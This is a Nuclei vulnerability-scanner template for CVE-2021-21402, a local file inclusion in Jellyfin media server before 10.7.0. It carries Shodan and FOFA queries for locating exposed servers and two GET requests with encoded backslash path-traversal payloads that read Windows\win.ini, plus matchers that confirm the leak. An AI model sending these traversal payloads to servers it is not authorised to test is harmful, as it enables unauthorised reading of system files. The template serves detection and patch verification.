nuclei-templates/http/cves/2021/CVE-2021-21402.yaml

id: CVE-2021-21402

info:
  name: Jellyfin <10.7.0 - Local File Inclusion
  author: dwisiswant0
  severity: medium
  description: |
    Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx
    - https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1
    - https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21402
  remediation: This is fixed in version 10.7.1.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-21402
    cwe-id: CWE-22
    epss-score: 0.25761
    cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    fofa-query: title="Jellyfin" || body="http://jellyfin.media"
    shodan-query: http.html:"Jellyfin"
    verified: true
    vendor: jellyfin
    product: jellyfin
  tags: cve,cve2021,jellyfin,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
      - "{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Type: application/octet-stream"

      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"

      - type: status
        status:
          - 200